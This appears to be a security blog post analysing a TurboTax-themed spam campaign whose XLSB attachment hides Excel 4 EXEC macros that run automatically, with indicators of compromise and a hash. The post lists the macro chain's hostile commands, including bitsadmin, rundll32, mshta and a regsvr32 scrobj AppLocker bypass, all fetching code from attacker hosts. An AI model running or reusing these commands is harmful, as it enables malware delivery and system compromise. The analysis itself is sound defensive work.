A recent blog by Didier Steven’s showed how malicious Excel 4 macros can be stored in OOXML (Office Open XML) .xlsm – a macro specific file format. We found this very interesting because even though Microsoft long ago replaced Excel 4 macros with VBA (Visual Basic Application), Excel 4 macros still work and are still supported in the newer Excel 2017 XML format.
Not long after that blog was published, while scrounging around our spam honeypots we spotted this “TurboTax Case” spam campaign with a .XLSB attachment.
XLSB is similar to XLSM format where they are both stored in a ZIP container, however, the information in an XLSB file is stored as binary as opposed to the typical XML format.
Extracting and viewing the BIFF object file sheet1.bin in a hex viewer, reveals a bunch of interesting shell commands. We’ll look at this further, but note that at this stage this object is a hidden worksheet.
So, we dug in and investigated this XLSB file, but instead of using tools like oledump.py, we used the Excel application itself to analyze these macros.
Opening the malicious excel sheet, a security warning is presented to the unsuspecting end-user, and then a plain text lure instructing the user to enable the macro, this a very common social engineering tactic. The user must enable macros via the Options button as below.
At this stage, we need to unhide some stuff. Unhiding the worksheet can be done by right-clicking on “Sheet1” tab then clicking the “Unhide…” on the context menu:
Now that the Macro sheet has been unhidden, we are now able to see the Named reference to Auto_Open. However, it seems like it resides in a hidden column – Column A.
We can unhide Column A by doing the following: On Home tab, then in the Cells group, click Format, then click “Hide & Unhide” then “Unhide Columns”
Then tadaa! Now it reveals the hidden column “A” with all this suspicious EXEC formulas to run external commands
How do these commands get executed? The macro event Auto_Open is referred to the cell “=Macro1$A$1” which contains the formula “=EXEC("cmd.exe /c cd c:\&&mkdir Intel")”
All of the above formulas in column “A” are then executed in order until HALT() is encountered.
In summary, the macros execution flow is as follow:
- Create a directory at c:\Intel
- Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/admin.bat and save it to c:\intel\admin.bat
- Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.bin and save it to c:\intel\mer.bin
- Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.dll and save it to c:\intel\mer.dll
- Rename mer.bin to mer.exe
- Copy mer.dll to mery.dll
- rundll32.exe mer.dll, Run https://126.96.36.199:443/
- regsvr32 /s mery.dll, Run https://188.8.131.52:443/
- Execute a powershell command from:
- Execute mshta http://184.108.40.206:80/home
- Execute a Jscript from a remote server using AppLocker Bypass technique:
- regsvr32 /s /u /n /i:http://220.127.116.11:443/index scrobj
At the time of analysis, The URLs kilolo[.]site and 38[.]132[.]124[.]172:443 are already offline except for hxxp://37[.]72[.]175[.]188:443/index
The last EXEC command is a JScript execution from the remote host at 18.104.22.168. The deobfuscated and beautified code can be found here: https://gist.githubusercontent.com/drole/b66464abca888f5cc77ea4519acd1584/raw/1c07055fbaaa4911b5cdf5d754e034ffd6ac8810/payload.js
This JScript main function is to gather system information and send back to the command and control server.
To conclude, this very old macro functionality in Excel is still supported and is now being misused by the criminals. It represents yet another way the bad guys are abusing these sorts of document file formats. Keep in mind the malicious code in this example will not execute unless the user enables macros.
40a941bc585c6e8f1203a9854faf90ad (Jscript 2nd stage payload)